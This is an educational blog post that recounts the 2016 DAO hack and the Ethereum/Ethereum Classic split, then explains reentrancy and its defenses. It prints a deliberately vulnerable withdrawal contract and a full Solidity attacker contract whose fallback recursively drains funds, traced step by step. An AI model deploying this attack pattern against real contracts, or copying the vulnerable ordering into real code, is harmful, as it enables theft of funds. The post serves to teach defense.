logo
Published on

The DAO Hack and Reentrancy Attack

Read in: 한국어
Authors

The DAO Hack Incident

What was The DAO?

The DAO (Decentralized Autonomous Organization) was an Ethereum-based decentralized venture capital fund launched in April 2016. It was a system where investors could deposit ETH and receive DAO tokens to vote on investment projects.

Launch Results

  • Crowdsale period: April 30 - May 28, 2016
  • Amount raised: Approximately 11.5 million ETH (about $150 million at the time)
  • Participants: About 11,000 people
  • A massive fund holding approximately 14% of all ETH in existence

The Hack Occurs

On June 17, 2016, less than three months after launch, a hacker attacked The DAO using a Reentrancy Attack. The hacker exploited a vulnerability in the withdrawal function to repeatedly call the same function during ETH transfers, draining funds.

Damage Scale

  • ETH stolen: Approximately 3.6 million ETH (about 1/3 of the total fund)
  • Value at the time: About $60 million
  • Value in today's terms: Billions of dollars

Community Response and Hard Fork

The Ethereum community made a dramatic decision in response to this incident.

Hard Fork Executed on July 20, 2016

  • Purpose: Return the hacked funds to original investors
  • Method: Roll back the blockchain to the state before The DAO contract was executed
  • Result: Split into Ethereum (ETH) and Ethereum Classic (ETC)

Two Blockchains

  • Ethereum (ETH): The chain that accepted the hard fork (hack nullified)
  • Ethereum Classic (ETC): Maintained the original chain (adhering to "Code is Law" principle)

This incident sparked important debates about blockchain immutability and community governance.

What is a Reentrancy Attack?

A Reentrancy Attack exploits a vulnerability where a smart contract function updates its state after making an external call.

  1. Attacker deposits a small amount (e.g., 1 ETH) into the contract
  2. Attacker requests to withdraw their deposit
  3. When the contract sends ETH to the attacker, the attacker's fallback function executes during the transfer
  4. Before the balance is updated, the attacker's fallback calls the withdrawal function again
  5. The balance check passes, and another ETH is sent
  6. Steps 3-5 repeat until all funds in the contract are drained

The DAO's Vulnerable Code

The splitDAO Function

The splitDAO function that the hacker attacked was a feature that allowed users to withdraw their deposited ETH.

// Vulnerable code from The DAO contract (simplified)
contract TheDAO {
    // Record the ETH balance deposited by each user
    mapping(address => uint256) public balances;

    // Function for users to withdraw their deposits
    function splitDAO() public {
        // Check the balance of the person calling the function (msg.sender)
        uint256 amount = balances[msg.sender];

        // 1. Balance check: verify there's an amount to withdraw
        require(amount > 0, "No balance");

        // 2. ETH transfer
        // Send ETH to msg.sender (the caller)
        // At this point, if msg.sender is a contract, that contract's fallback/receive function executes
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 3. Balance update
        // Before this line executes, the attacker's fallback can call splitDAO() again
        balances[msg.sender] = 0;
    }

    // Function for users to deposit ETH
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

The Problem

The key issue is external call before state update. When transferring ETH (msg.sender.call), the attacker's code can execute, and since the balance hasn't been updated to 0 yet, the same function can be called repeatedly.

The Hacker's Attack Code

// The attacker's malicious contract
contract Attacker {
    TheDAO public dao;                  // Address of The DAO contract to attack
    uint256 public initialDeposit;      // Initial deposit (1 ETH)

    constructor(address _daoAddress) {
        dao = TheDAO(_daoAddress);
        initialDeposit = 1 ether;
    }

    // 1. Function to start the attack
    function attack() external payable {
        require(msg.value >= initialDeposit, "Need at least 1 ETH");

        // Deposit 1 ETH to The DAO
        // Now balances[this contract address] = 1 ETH
        dao.deposit{value: initialDeposit}();

        // Start withdrawal (reentrancy attack begins here)
        // Calling splitDAO() causes The DAO to send ETH to this contract
        dao.splitDAO();
    }

    // 2. Fallback function that automatically executes whenever ETH is received
    // The payable keyword is required to receive ETH
    // When The DAO's msg.sender.call{value: amount}("") executes,
    // ETH is sent to this contract and this fallback function is called automatically
    fallback() external payable {
        // Check if The DAO still has ETH remaining
        if (address(dao).balance >= initialDeposit) {
            // 🔄 Request withdrawal again! (Balance hasn't been set to 0 yet, so we can receive another 1 ETH)
            dao.splitDAO();
            // This process repeats until The DAO's balance is depleted
        }
    }

    // 3. Recover stolen ETH to attacker's account
    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

How Reentrancy Attack Works

Let's examine how the attack progresses step by step.

Step 1: Initial State

The DAO balance: 5 ETH
Attacker balance: 1 ETH

The DAO internal record:
balances[attacker] = 0 ETH

Step 2: Attacker Deposits 1 ETH

// Attacker executes
dao.deposit{value: 1 ether}();
The DAO balance: 6 ETH
Attacker balance: 0 ETH

The DAO internal record:
balances[attacker] = 1 ETH

Step 3: First Withdrawal Attempt

// Attacker executes
dao.splitDAO();

What Happens Inside The DAO Contract

// 1. Balance check
uint256 amount = balances[attacker];  // amount = 1 ETH
require(amount > 0);  // ✅ Passes

// 2. ETH transfer (attacker's fallback function executes here!)
(bool success,) = attacker.call{value: 1 ether}("");

// ⚠️ balances[attacker] = 0 has NOT been updated yet!

Step 4: Attacker's Fallback Function Executes (Reentrancy)

// Attacker's fallback function executes
fallback() external payable {
    // The DAO still has 5 ETH remaining
    if (address(dao).balance >= 1 ether) {
        dao.splitDAO();  // Call again! (reentrancy)
    }
}

The DAO's splitDAO() Executes Again

// 1. Balance check
uint256 amount = balances[attacker];  // Still 1 ETH! (not updated)
require(amount > 0);  // ✅ Passes

// 2. ETH transfer (sends another 1 ETH!)
(bool success,) = attacker.call{value: 1 ether}("");

Step 5: Repetition (Reentrancy Continues)

This process repeats until The DAO's balance is depleted.

Call Stack:
splitDAO() #1
  → attacker fallback()
splitDAO() #2
      → attacker fallback()
splitDAO() #3
          → attacker fallback()
splitDAO() #4
              → attacker fallback()
splitDAO() #5
                  → attacker fallback()
splitDAO() #6 (insufficient balance, exits)

Final Result

The DAO balance: 0 ETH (completely drained!)
Attacker balance: 6 ETH

The DAO internal record:
balances[attacker] = 1 ETH (never updated!)

Correct Code (Checks-Effects-Interactions Pattern)

function withdraw() public {
    uint256 amount = balances[msg.sender];

    // ✅ Correct order
    require(amount > 0);           // 1. Checks (validation)
    balances[msg.sender] = 0;      // 2. Effects (state change)

    (bool success,) = msg.sender.call{value: amount}("");  // 3. Interactions (external call)
    require(success);
}

By updating the state before making the external call, even if reentrancy is attempted, the balance is already 0 so require(amount > 0) will fail.

Reentrancy Defense Methods

1. Checks-Effects-Interactions Pattern

This is the most fundamental and important defense method.

function withdraw() public {
    // 1. Checks: Validate conditions
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    // 2. Effects: Change state (first!)
    balances[msg.sender] = 0;

    // 3. Interactions: External call (last!)
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

2. Using ReentrancyGuard (OpenZeppelin)

OpenZeppelin's ReentrancyGuard provides a simple way to prevent reentrancy.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // Thanks to nonReentrant, reentrancy attempts automatically revert
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

How ReentrancyGuard Works

// OpenZeppelin's ReentrancyGuard internals (simplified version)
abstract contract ReentrancyGuard {
    uint256 private _status;

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // Detect reentrancy attempt
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Mark function as executing
        _status = _ENTERED;

        _;  // Execute actual function

        // Function execution complete
        _status = _NOT_ENTERED;
    }
}